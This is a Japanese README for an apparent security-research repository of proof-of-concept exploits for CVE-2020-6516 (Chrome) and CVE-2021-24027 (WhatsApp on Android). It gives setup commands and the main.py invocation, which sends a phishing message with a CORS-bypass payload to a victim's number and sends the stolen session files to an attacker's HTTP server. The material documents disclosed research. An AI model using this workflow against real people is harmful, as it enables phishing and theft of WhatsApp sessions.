
CVE-2020-6516 (Chrome) および CVE-2021-24027 (WhatsApp) を悪用するための PoC とツール
このリポジトリには、Android版WhatsAppのMan-in-the-Disk (MitD) 脆弱性をリモートから悪用するための研究 [01] の一環として開発されたPoCコードとツールが含まれています。ブログ記事で説明したように、ここにあるコードと付属のスクリプトは、CVE-2020-6516 (Chrome) [02] および CVE-2021-24027 (WhatsApp) [03] の悪用に使用されました。
このリポジトリの構成は以下の通りです。
現在のディレクトリには、Fridaを使用してWhatsAppをフックし、CORSバイパスペイロードを含むフィッシングメッセージを送信し、被害者端末から流出したセッションファイルの送信先となるHTTPサーバーを実行するPythonツールが含まれています。
tls12_psk_extract/ には、TLS v1.2 MitMツールセットが含まれています。MitM環境を準備する方法の詳細については、そのディレクトリにある README.md を参照してください。
watls_psk_extract/ には、TLS v1.3 (WaTLS) MitMツールセットが含まれています。MitM環境を準備する方法の詳細については、そのディレクトリにある README.md を参照してください。
openssl-1.1.1f-patches/ には、TLS v1.2 および/または TLS v1.3 MitM環境をセットアップするために必要なOpenSSL 1.1.1f パッチが含まれています。
secrets/ には、WhatsApp TLS v1.3 インフラストラクチャで使用されるものと同様の証明書を生成するための簡単なシェルスクリプトとOpenSSL設定が含まれています。生成された鍵と証明書は、TLS v1.2 と v1.3 の両方のMitMに使用できます。
最後になりましたが、misc/ には、研究中にテストおよびデバッグ目的で使用され、他の研究者にも役立つ可能性のあるさまざまなFridaスクリプトが含まれています。
PoCをテストするには、WhatsApp 2.20.206.22 [04] が動作するAndroid端末が必要です。私たちのコードは当初2.19.355向けに開発されましたが、そのバージョンは現在「期限切れ」とみなされて動作しません。対応するスニペットは frida_scripts/ にありますが、ご注意ください。
PoCを起動する前に、WhatsAppのDEXコードを可能な限りコンパイルしておくことをお勧めします。そうすることで、Fridaが特定のメソッドをフックできないなどの問題を事前に回避できる可能性があります。
adb shell
am force-stop com.whatsapp
pm compile -f -m space com.whatsapp
am start com.whatsapp/.Main
Fridaサーバーをダウンロードし、Android端末の /data/local/tmp にデフォルトのファイル名のままプッシュします。バージョン12.8.10はテスト済みで正常に動作することが確認されています。必要に応じて、より新しいバージョンをダウンロードしても構いません。PoCは自動的にFridaサーバーバイナリを検出し、適切なコマンドライン引数で実行しようとします。
cd /tmp
curl -O https://github.com/frida/frida/releases/download/12.8.10/frida-server-12.8.10-android-arm64.xz
xz -d frida-server-12.8.10-android-arm64.xz
adb push frida-server-12.8.10-android-arm64 /data/local/tmp
エクスプロイトのメインロジックは main.py に実装されています。adb.py と frida_util.py は、Android端末でのさまざまなデバッグ作業のために社内で使用しているツールを簡略化したものです。
PoCを実行するには、Android端末をコンピュータに接続し、以下のコマンドを実行します。
python3 main.py -s ANDROID_SERIAL -a 192.168.1.100 -p 8000 -r \
images/the_guardian.jpg [email protected] "Rush for Mediterranean gas"
main.py に渡されるコマンドラインスイッチは以下の通りです。
-s - 攻撃者がコンピュータに複数のAndroid端末を接続している場合に使用するAndroid端末のシリアル番号。
-a および -p - 流出したセッションの送信先となるHTTPサーバーのアドレスとポート。
-r - main.py に前述のHTTPサーバーをローカルコンピュータで起動するように指示します。-r を渡さない場合は、-a および -p で指定したホスト上で server.py を実行してください。
位置引数は以下の通りです。
images/guardian.jpg - 偽のメッセージプレビューとして使用されるJPG画像で、被害者がクリックするように誘導します。
[email protected] - WhatsApp形式での被害者の携帯電話番号。通常は国番号の後に携帯電話番号が続きます。例えば、ギリシャの番号 (+30) は [email protected] のようになります。
"Rush for Mediterranean gas" - メッセージのキャプションとして使用される任意の文字列。
実際の使用例については、ブログ記事、特にデモンストレーションビデオをご覧ください。
[01] https://www.census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/
[02] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6516
[03] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24027